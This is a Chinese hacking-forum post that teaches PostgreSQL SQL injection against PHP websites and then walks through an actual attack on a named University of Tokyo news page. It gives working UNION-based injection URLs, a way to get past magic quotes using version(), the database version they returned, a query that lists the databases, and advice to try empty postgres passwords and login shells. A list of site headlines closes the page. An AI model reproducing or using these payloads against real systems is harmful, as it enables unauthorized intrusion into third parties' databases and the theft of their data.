黑客入侵日本东京大学技术分析
本文基于《PostgreSQL注入语法指南》而写,首先我们先来总结常见问题,常见问题有这样几个
如何判断数据库使用了PostgreSQL数据库,字段数和字段间编码问题,GPC为on时的字符型字段问题,注释符问题。我们一个一个讲
1) 如何判断php搭配数据库为PostgreSQL
我们假设一个php+PostgreSQL并且开启了错误回显的网站有一个注入点,我们在xx.php?id=n后面加单引号',它的回显将会是这样的:
Warning: pg_query() [function.pg-query]:
Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: select * from now where no = 111' ^ in /home/sites/web/school/detail.php on line 307
有这样几个关键字可以判断数据库为PostgreSQL:
操作PostgreSQL的函数pg_query()
关键字function.pg-query中的pg
看熟了MySQL的错误回显,有没有发现这个unterminated quoted string at or near不是MySQL的?MySQL的错误回显和这个区别太大了
2) 字段数和字段间编码问题
我们首先将上面的注入点order by 2可以确认now数据表的字段数大于2,当我们order by 2000的时候,显然不可能有那个表段中有2000条数据,当然会出错
Warning:pg_query() [function.pg-query]:
Query failed: ERROR: ORDER BY position 2000 is not in select list in /home/sites/web/school/detail.php on line 307
这样大致可以确认可以猜出正确的字段数了。假设字段数为14,那么我们按照MySQL的步骤
- xx.php?id=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
复制代码 这句没问题吧?但是它99%概率会出问题了:
Warning: pg_query() [function.pg-query]:
Query failed: ERROR: UNION types character varying and integer cannot be matched in /home/sites/web/school/detail.php on line 307
这个回显是什么意思呢?问题很简单,union前后的字段数相同了,但是类型不同了。
这就像大家来找茬:
- Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数
- Union后(我们注入的):SELECT 数字,数字,数字,数字,数字,数字,数字,数字,数,数,数,数,数,数
复制代码 和我们要来找茬游戏差不多,我们要做的就是矫正字段与字段间的区别。
错误提示中没有提示这14个中,哪一个字段出问题了,我们要一次性让字段数对工整了恐怕有n的14次方种可能,怎么办呢?
很简单,先吧1,2,3,4.....13,14这些字段统统换成NULL,例如:
- xx.php?id=正确的id数字+and+1=1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null
复制代码 这样就会正确显示原来的新闻页面了
然后我们试着把null依次换成数字,依次替换一个,如果依然返回正确的新闻页面则保留数字并替换下一个,如果返回错误信息就重新换回null并继续替换下一个
这样我们就得到:
- Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数
- Union后(我们注入的):SELECT 数字,NULL,NULL,数字,数字,NULL,NULL,数,NULL,数,NULL,数,NULL,数
复制代码 实际中,数字型是占少数的,一般我们都是用文本型做显示位的。
找出文本型显示位很简单,和数字一样,依次替换并确认,只不过这次不是替换成数字,而是替换成文本,例如'a'。
- Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数
- Union后(我们注入的):SELECT 数字,'a',NULL,数字,数字,NULL,'a',数,'a',数,'a',数,'a',数
复制代码 这样就明了了吧?
最后应用于实际:
- xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6
复制代码 这样八九不离十会出显示位的。
3) GPC设置为on问题
PHP有个功能是魔术引号,学称“自动字符串转义”,就是你把.php?id=3'or'1'='1访问后PHP自动给你转换成.php?id=3\'or\'1\'=\'1然后进行下一步动作
问题在哪里呢?上面我们讲了,将字符型字段替换为'a'来依次确认,GPC为on,岂不是'a'都变成了\'a\'???
没错,是变了。那么这步就不能进行?答案是能。要知道,计算机是人设计的,人是计算机灵感的来源。
首先向,我们注入的目的是什么?显示内容。那么我们为什么要让它使用'a'呢?'a'只不过是个用来判断的字符,和and 1=2一样,只是用于判断,无实际意义,and 1=2可以替换成1=3,1=4,甚至1=1000000000000000000000,这只是用来判断而已,没意义。
如果我们将'a'换成有意义的呢?例如version()就可以不需要加引号,比较一下:
- xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6
- xx.php?id=0+union+select+1,version(),null,2,3,null,version(),2,version(),3,version(),4,version(),6
复制代码 整个语句没有用到任何一个单引号
4)注释符问题
PostgreSQL的注释符不是#,也就是说,末尾如果有语句未结束,不能加/*或者%23来终止。
那么用什么呢?显然是MySQL,MSSQL,SQLite还有PostgreSQL各种通用的“--”,也可以换成%2b%2b,一样的效果。
很好记,2B,二逼。测试中%2b%2b有可能会造成访问的短暂失去响应,目前不知道问题在哪里,而横线--则不会出现
5) 小技巧
PostgreSQL的管理员账户(类似于MySQL的root,MSSQL的sa)名字为postgres,根数据库(类似于MySQL的mysql数据库,MSSQL的master数据库)名字为postgres
root和sa有设置空口令的二逼管理员,PostgreSQL也有很多设置空口令的二逼管理员。
遇到过一些给PostgreSQL设置了nologin的bash shell,后面你懂的,可以尝试登陆它的shell的
好了说了这么多,都是理论。我们开始实践吧
目标日本东京大学:http://www.u-tokyo.ac.jp
这个例子来自本论坛的帖子《PostgreSQL盲注笔记》
这个大牛愣是盲注把PostgreSQL给注了。
虽然是很牛的办法,不过我想说,还有更简单的。我们看注入点:
- http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+15-- 页面正确
- http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+16-- 页面错误
复制代码 没有错误回显。但是可以确定字段数位15,显然union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15--以后也是错误的页面,否则不需要盲注了都
那么我们这样呢?
- http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15-- 错误页面
- http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null-- 正确页面
复制代码 下一步就是依次替换得到数字类型的字段和文本类型的字段了:
- http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,1,null,null,null,null,null,null,null,null,null,null,null,null--
复制代码 很可惜,这个页面只有第3个字段是数字型,其他都不是,证据就是,上面剩下的任何一个null替换成数字,都会显示页面错误
那么咱们替换文本类型好了,替换任何一个null为'a'都会出现错误页面,为什么呢?答案就是,gpc为ON,导致'a'变成了\'a\'
盲注帝估计当时就是卡在这里了 :-(
不过好在本文前面说了,GPC为on,就不要用'a'了,用version()代替就好了
- http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,version(),1,version(),version(),version(),null,version(),version(),version(),null,null,version(),version(),version()+--
复制代码 得到回显了没?
PostgreSQL 8.4.9 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.4.5 20110214 (Red Hat 4.4.5-6), 64-bit
实际应用上面,其实我们只需要替换出来一个显示位就够了。闲的蛋疼的人才去一一确认哪个显示位是什么类型 — —!
- http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,datname+from+pg_database+limit+1+offset+0+--+
复制代码 PostgreSQL的limit y offset x
是和MySQL的limit x,y一样的用法
limit 1 offset 0是第一条数据,limit 1 offset 1是第二条数据。。。依次类推
好了,后面的我就不说了,要继续搞,参照本论坛的PostgreSQL注入手册来好了,虽然还是有点不太省事,不过总之,盲注能是不需要了 :-)
更多信息来自东方联盟网:http://www.vm888.com
- 08-05微软开发脑机交互:意念控制操作系统
- 08-05微软程序员埋的一个漏洞:竟在Office中躺了17年
- 08-05Win10偷笑!Mac重大安全系统漏洞被修复 苹果道歉
- 08-05苹果Mac用户中招:系统藏大漏洞 密码设置形同虚设
- 08-05微软宣布为Win10带来Sets:所有UWP应用将支持标签化
- 08-05云计算:10个错误可能会摧毁你的企业
- 08-05让企业陷入困境的10个云错误
- 08-05数据泄露防护市场 英雄不问出身
- 01-11全球最受赞誉公司揭晓:苹果连续九年第一
- 12-09罗伯特·莫里斯:让黑客真正变黑
- 12-09谁闯入了中国网络?揭秘美国绝密黑客小组TA
- 12-09警示:iOS6 惊现“闪退”BUG
- 09-28PingPong:数字支付帮助企业实现多业态管理
- 09-28Canalys:2024年第二季度中国大陆PC出货量同
- 09-28针对计算密集型业务,英特尔发布至强6性能核
- 09-28《中国新电商发展报告2024》发布:新电商如
- 09-24华夏利亚德加码户外大屏业务 拓展多元化应用